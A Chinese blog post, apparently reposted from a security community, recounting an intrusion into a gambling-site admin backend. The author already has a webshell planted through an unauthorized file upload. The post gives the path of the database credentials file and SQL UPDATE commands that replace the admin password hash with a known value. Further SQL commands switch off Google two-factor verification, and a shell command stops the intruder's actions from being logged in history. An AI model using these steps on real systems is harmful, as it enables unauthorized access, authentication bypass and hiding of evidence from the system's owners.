文章作者:先知社区(spider)
文章来源:https://xz.aliyun.com/t/13984
1►前言
测试发现该菠菜模版系统存在未授权任意文件上传,在进行下述操作分析前已上马并获取到系统源码信息。因为后台数据展示比较直观,故想登录后台直接查看相应信息,具体过程详见下文。
2►登入后台
使用资产测绘工具发现该模版的菠菜站点登入后台共有两种情况:一种是输入账号密码验证后直接登录,还有一种是输入账号密码和google验证码验证后登录。
首先先来对不带google验证码的进行登录操作,查看源码发现数据库存储的password形式为md5(md5(password明文)@用户名),因此这个基本查不到爆破比较困难。源码信息如下所示:
跟入login函数
想到构造一个已知的的密码更新该字段,构造密码为123456的password值为dd95a7354329cf3c2586446076f4ca3d。根据前情提要翻看系统文件后得知数据库账号密码存放在/www/server/webapps/xxxxxxx/webapps/ROOT/WEB/WEB-INF/classes/spring/datasource-master.xml
文件中,如下所示:
后台管理员密码存储该模板网站统一存储在gameplat_sc_data数据库的admin表。操作时记录下原先hash值,在用update更新,冰蝎自带的数据库管理工具不支持update、insert等操作可使用虚拟终端进入在连接数据库操作(操作前先输入set +o history history -d 1防止操作历史命令被记录)。登录数据库后运行如下更新密码命令
update
gameplat_sc_data.admin
set
password
=’dd95a7354329cf3c2586446076f4ca3d’
where
account
=’
admin
’
之后即可用123456,登录后台
查看完后更新admin数据表为原密码hash。
update
gameplat_sc_data.admin
set
password
=”原
hash
”
where
account
=’
admin
’
接着再来分析带google验证码的后台登录,根据源码分析得知登录代码逻辑首先会在数据库查询是否开启google验证码配置,若为1表示开启进入相应验证过程,否则不进入。
跟进函数boundGoogleAuth.getConfigValue(),查看是操作那张数据表
再到dao层,如下所示:
找到具体的表和字段后运行如下sql命令,无需google验证
update
gameplat_sc_data.config
set
config_value=
'0'
where
config_key =
'is_bound_google_auth'
后续改密码和无google验证一样,登录看完之后再将google验证配置参数更新为1。
update
gameplat_sc_data.config
set
config_value=
'1'
where
config_key =
'is_bound_google_auth'
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):记某菠菜管理后台登录测试思路
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论